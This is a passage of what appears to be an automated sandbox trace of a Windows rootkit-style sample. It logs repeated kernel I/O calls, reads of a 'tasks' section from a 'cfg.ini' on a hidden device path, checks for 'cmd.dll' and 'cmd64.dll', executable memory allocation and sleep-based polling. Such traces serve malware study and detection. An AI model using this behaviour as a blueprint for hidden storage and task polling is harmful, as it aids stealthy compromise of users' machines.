_Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.055] KeEnterCriticalRegion () [0128.055] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.055] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.055] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.055] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.055] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.055] IdePortDispatch () returned 0x103 [0128.056] KeWaitForMutexObject () returned 0x0 [0128.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.056] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.056] KeLeaveCriticalRegion () [0128.056] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.056] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.056] KeEnterCriticalRegion () [0128.056] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb1000 [0128.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.056] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.056] IdePortDispatch () returned 0x103 [0128.056] KeWaitForMutexObject () returned 0x0 [0128.056] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.056] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.056] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.056] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.057] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.057] IdePortDispatch () returned 0x103 [0128.057] KeWaitForMutexObject () returned 0x0 [0128.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.057] KeLeaveCriticalRegion () [0128.057] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.057] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.058] KeEnterCriticalRegion () [0128.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.058] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.058] KeLeaveCriticalRegion () [0128.058] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.058] KeEnterCriticalRegion () [0128.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.058] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.058] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfedc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.058] KeLeaveCriticalRegion () [0128.058] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.058] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.058] KeEnterCriticalRegion () [0128.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.058] ExFreePoolWithTag (P=0xfffffa8003bfd760, Tag=0x0) [0128.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.058] KeLeaveCriticalRegion () [0128.058] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.058] ReleaseMutex (hMutex=0xf0) returned 1 [0128.058] Sleep (dwMilliseconds=0x927c0) [0128.077] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.077] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.077] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.077] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.077] KeEnterCriticalRegion () [0128.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.077] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.077] IdePortDispatch () returned 0x103 [0128.077] KeWaitForMutexObject () returned 0x0 [0128.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.077] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.077] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.077] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.077] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.077] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfe960 [0128.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.078] KeLeaveCriticalRegion () [0128.078] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.078] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.078] KeEnterCriticalRegion () [0128.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.078] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.078] KeLeaveCriticalRegion () [0128.078] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.078] KeEnterCriticalRegion () [0128.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.078] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.078] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.078] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.078] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.078] IdePortDispatch () returned 0x103 [0128.078] KeWaitForMutexObject () returned 0x0 [0128.078] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.078] KeLeaveCriticalRegion () [0128.078] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.078] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.078] KeEnterCriticalRegion () [0128.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.078] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb6000 [0128.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.079] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.079] IdePortDispatch () returned 0x103 [0128.079] KeWaitForMutexObject () returned 0x0 [0128.079] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.079] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.079] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.079] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.079] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.079] IdePortDispatch () returned 0x103 [0128.079] KeWaitForMutexObject () returned 0x0 [0128.079] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.079] KeLeaveCriticalRegion () [0128.079] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.080] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.080] KeEnterCriticalRegion () [0128.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.080] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.080] KeLeaveCriticalRegion () [0128.080] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.080] KeEnterCriticalRegion () [0128.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.080] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.080] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfea20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.080] KeLeaveCriticalRegion () [0128.080] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.080] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.080] KeEnterCriticalRegion () [0128.080] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.080] ExFreePoolWithTag (P=0xfffffa8003bfe960, Tag=0x0) [0128.080] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.080] KeLeaveCriticalRegion () [0128.080] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.081] ReleaseMutex (hMutex=0xf0) returned 1 [0128.081] Sleep (dwMilliseconds=0x927c0) [0128.099] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.099] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.099] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.100] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.100] KeEnterCriticalRegion () [0128.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.100] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.100] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.100] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.100] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.100] IdePortDispatch () returned 0x103 [0128.100] KeWaitForMutexObject () returned 0x0 [0128.100] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.100] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.100] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.100] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.100] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.100] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfed00 [0128.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.100] KeLeaveCriticalRegion () [0128.100] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.100] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.100] KeEnterCriticalRegion () [0128.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.100] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.100] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.100] KeLeaveCriticalRegion () [0128.100] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.100] KeEnterCriticalRegion () [0128.100] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.101] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.101] IdePortDispatch () returned 0x103 [0128.101] KeWaitForMutexObject () returned 0x0 [0128.101] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.101] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.101] KeLeaveCriticalRegion () [0128.101] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.101] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.101] KeEnterCriticalRegion () [0128.101] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.101] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbb000 [0128.101] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.101] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.101] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.101] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.101] IdePortDispatch () returned 0x103 [0128.102] KeWaitForMutexObject () returned 0x0 [0128.102] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.102] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.102] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.102] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.102] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.102] IdePortDispatch () returned 0x103 [0128.102] KeWaitForMutexObject () returned 0x0 [0128.102] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.102] KeLeaveCriticalRegion () [0128.102] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.103] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.103] KeEnterCriticalRegion () [0128.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.103] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.103] KeLeaveCriticalRegion () [0128.103] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.103] KeEnterCriticalRegion () [0128.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.103] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.103] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfeac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.103] KeLeaveCriticalRegion () [0128.103] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.103] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.103] KeEnterCriticalRegion () [0128.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.103] ExFreePoolWithTag (P=0xfffffa8003bfed00, Tag=0x0) [0128.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.104] KeLeaveCriticalRegion () [0128.104] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.104] ReleaseMutex (hMutex=0xf0) returned 1 [0128.104] Sleep (dwMilliseconds=0x927c0) [0128.122] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0128.122] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.122] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0128.123] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.123] KeEnterCriticalRegion () [0128.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.123] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0128.123] IdePortDispatch () returned 0x103 [0128.123] KeWaitForMutexObject () returned 0x0 [0128.123] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.123] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.123] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.123] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.123] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.123] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfd9c0 [0128.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.123] KeLeaveCriticalRegion () [0128.123] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.123] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.123] KeEnterCriticalRegion () [0128.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.123] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.123] KeLeaveCriticalRegion () [0128.123] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.123] KeEnterCriticalRegion () [0128.123] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.124] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0128.124] IdePortDispatch () returned 0x103 [0128.124] KeWaitForMutexObject () returned 0x0 [0128.124] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.124] KeLeaveCriticalRegion () [0128.124] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.124] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.124] KeEnterCriticalRegion () [0128.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.124] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc0000 [0128.124] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.124] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.124] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.124] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0128.124] IdePortDispatch () returned 0x103 [0128.125] KeWaitForMutexObject () 